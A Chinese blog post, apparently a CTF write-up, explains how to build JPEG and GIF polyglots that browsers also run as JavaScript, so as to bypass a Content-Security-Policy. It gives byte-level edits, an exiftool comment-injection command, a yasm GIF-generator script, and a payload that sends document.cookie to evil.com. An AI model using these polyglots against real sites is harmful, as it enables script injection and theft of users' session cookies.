这篇文章发表于 813 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

今年除夕真棒,在农历新年0:02的时候做完了利用ploytlot JPEG bypass CSP的一道题。本来能在农历去年做完的,但因为利用了别人的拉挎脚本(其实是自己眼瞎)导致耽误了不少时间。这篇文章就是详细说说各种常见类型的图片格式该如何制作。

这个脚本其实只是相对简单地直接插入了一些文本内容,但没有好好地调整格式,导致一些较严格的检查就会被拒绝上传,甚至浏览器都没法执行上面的js代码。所以在使用别人东西之前要好好阅读一下使用说明这些。

JPEG详解

为了更好理解Bypassing CSP using polyglot JPEGs技术,这里比原文更为详细地讲讲。

编码

1

比如上面这张图,我们尝试将它当做js文件引入到带有CSP规则限制(这里基本只允许引入本地文件)的网页中:

1
2
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; object-src 'none';">
<script src="1.jpg"></script>

如果你使用的是Firefox浏览器,那么可能在控制台看到这样的报错信息Uncaught SyntaxError: illegal character U+FFFD;如果是Chrome浏览器,那么可能在控制台看到的是这样的报错信息Uncaught SyntaxError: Invalid or unexpected token

但是用010Editor一搜并不能发现这个所谓的FF FD。不管怎样,肯定是因为这个FF FD超出了可以被浏览器理解的范围。这是charset的问题,Firefox默认使用的是UTF-8,但如果服务器有所指定Accrpt-Charset头,那可能就不一定是UTF-8。在官方文档中,注意到


在早期版本的HTTP/1.1协议中,规定了一个默认的字符集(ISO-8859-1)。但是现在情况不同了,目前每一种内容类型都有自己的默认字符集。


这个就基本能说明这里的第一个坑,我们需要指定好一个字符集,才能不被编码困扰。上面也已经给出了可能的答案,也就是下面这个:

1
2
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; object-src 'none';">
<script charset="ISO-8859-1" src="1.jpg"></script>

好了,现在Firefox控制台的报错变成了Uncaught SyntaxError: illegal character U+0000,而且出错的位置是[1.jpg:1:4]——

2

算是一种进步吧,至少我们能够在010Editor定位到比较明显的报错位置。这为我们之后修改带有payload的图片文件提供了很好的条件。

注释

我们首先得知道,如果一张jpg图片能被理解为js文件,那么它一定符合js文件的语法。如果都是一些乱码,那大概率是会报错的,就比如上面这样的U+0000。这个东西并不能被浏览器当做js文件来理解。那为什么前面的FF DB FF E0并没有报错呢?那是因为它被理解为了一个变量,一个由奇怪字符组成的变量。既然是变量,那么就得有对应的赋值(应当有=在后面才符合语法规则)才能够保证这一段内容是正确的。

很显然,无论是什么想法,肯定得修改这个4h位置的U+0000

第一处注释开头

好了,现在我们来了解一下这个图片格式所对应的内容。

3

请看这张图文件的头的格式FF E0是marker;那个00 10其实对应着除去最开始FF E0剩下的图片文件头的长度,为16;.J .F .I .F 00这个是identifier,必须以00结尾;之后的01 01则是JFIF的版本号;再后面的01和图片上像素块的密度有关;紧接着的两个00 48是Xdensity和Ydensity;最后两个00则分别为Xthumbnail和Ythumbnail。头格式的最后还有Thumbnail data部分(大小为3*nbytes,n = Xthumbnail × Ythumbnail)。

所以说,如果要制作可被识别为js的特殊jpg文件,就要修改以上的00 102F 2A(其对应的字符为/*,到这里意图应该已经很明确了),尽可能将那些乱码涵盖到这个注释里面。因为00 10是头的长度,所以说要把后面的内容拓展一下。使用010Editor00 00FF DB之间插入共2F1A( = 2F2A - 10)个字符。到这一步长度已经够了,一般来说也能够凑合着用了,然而如果您有更好的效果——可以修改Xthumbnail,Ythumbnail和Thumbnail data的内容以满足等式和意义。

注意:图片中可以先搜索下有无2F 2A或者2A 2F,万一有的话可以考虑直接换张图片再改,以免出现意料之外的报错。

第一处注释结尾与第二处注释开头

如果您以前制作过PHP图片小马,这部分的想法也是类似的。这个直接修改图片的comment就可以了,比较推荐这个,因为不会破坏图片呈现的感觉。

1
exiftool -Comment="*/=123;alert(document.domain);/*" payload.jpg

当然您也可以修改上图中的IMAGE DATA部分的内容。总之,这里有三点需要注意:

  • 注释结尾*/将前面的乱码部分全部吞掉,后面的才是有用的js
  • 等号是必要的,因为图片开头的FF DB FF E0被理解为变量,我们这里随便给它赋个值123
  • 注释之后将图片在010Editor中打开,我们能够发现这里比上面格式图多了FF FE这块内容

4

第二处注释结尾与第三处注释

如果没有第二处注释的结尾,我们直接访问相关网页的内容就会出现Uncaught SyntaxError: unterminated comment这样的错误。从英文来看就知道它并没有被terminated。

这个就直接在结尾部分强改就可以了,图片数据稍微错误一点没什么大不了。但是修改位置必须在FF D9之前。

也就将最后的几个字符改为2A 2F 2F 2F FF D9即可,也就是* / / / FF D9,很显然这里的注释将图片内容中的乱码全部吞掉了,最后的注释//将最后的FF D9乱码也注释掉了。没错,现在它已经是被我们控制住的js文件了——尽管有很多乱码,但都被注释掉了。

下面这张图就是最终的结果,人眼很难看出和之前的图片的区别(其实右下角有点不同)。

payload

最后再总结一下,这个特殊的js文件就是要构造下面这样的格式:

1
xx/*...junkjunkjunk...*/=123;alert(document.domain);/*...junkjunkjunk...*///yy

另外,可以使用下面这种来获取cookie:

1
xx/*...junkjunkjunk...*/=location.href="https://evil.com/?x="+document.cookie;/*...junkjunkjunk...*///yy

GIF

如果理解了刚刚的想法,这个操作起来更为简单。

5

如果不加任何修改,并以ISO-8859-1的方式呈现出来,那么这里该怎么改呢?显然width应该要被修改为2F2Ah,然后在后面伺机闭合注释。

但是如果你尝试下载一个GIF然后修改的话就会发现这图片里面有非常多的/*或者*/,这让人恼火,因为无法成功闭合一些内容,乱码终将导致报错的出现,所以只能够退而求其次了,反正GIF没法正常显示也可能可以被认为是GIF对吧……

这里有一个很好用的生成脚本,运行yasm ./gifjs.asm -o payload.gif即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
; a hand-made GIF containing valid JavaScript code
; abusing header to start a JavaScript comment

; inspired by Saumil Shah's Deadly Pixels presentation

; Ange Albertini, BSD Licence 2013

; yasm gifjs.asm -o img.gif

WIDTH equ 10799 ; equivalent to 2f2a, which is '/*' in ASCII, thus starting an opening comment

HEIGTH equ 100 ; just to make it easier to spot

db 'GIF89a'
dw WIDTH, HEIGTH

db 0 ; GCT
db -1 ; background color
db 0 ; default aspect ratio
;db 0fch, 0feh, 0fch
;times COLORS db 0, 0, 0

; no need of Graphic Control Extension
; db 21h, 0f9h
; db GCESIZE ; size
; gce_start:
; db 0 ; transparent background
; dw 0 ; delay for anim
; db 0 ; other transparent
; GCESIZE equ $ - gce_start
; db 0 ; end of GCE

db 02ch ; Image descriptor
dw 0, 0 ; NW corner
dw WIDTH, HEIGTH ; w/h of image
db 0 ; color table

db 2 ; lzw size

;db DATASIZE
;data_start:
; db 00, 01, 04, 04
; DATASIZE equ $ - data_start

db 0
db 3bh ; GIF terminator

; end of the GIF

db '*/' ; closing the comment
db '=1;' ; creating a fake use of that GIF89a string

db 'alert("haxx");'

生成的内容很直接,如果对图片大小有要求的话(这图片很难更小了),填充垃圾数据就好了。

6

PNG

经过上面两块内容的思考,很自然就会想PNG是不是也有操作的空间,是不是也能构造出一个既可以被理解为PNG又可以被理解为JS的文件?

但网上似乎并没有这种内容,虽然有把js代码写在某文件然后改个后缀这样的情况,但这显然不是我们想要达到的结果。经过简单的实践,很快就能发现PNG文件会因为文件头最开始的几个字符而出现错误。

7

89 50 4E 47 0D 0A 1A 0A这个开头就特别有灵性,虽然后面的size部分就能够直接填上2F 2A开始注释。如果存在构造的可能性,那么一定是像下面这样:

1
2
3
‰PNG

/*...junkjunkjunk...*/some javascript/*...junkjunkjunk...*///endwords

看到这里心已经凉了大半截,无论怎么设置charset都不可能搞成正确格式的js文件了——即便1A能被理解,而毕竟两个回车是明明白白摆在那里的。尝试一下,果然黔驴技穷了。基本可以断言:可以被理解为js文件的PNG文件是无法通过上面这种思路来构造的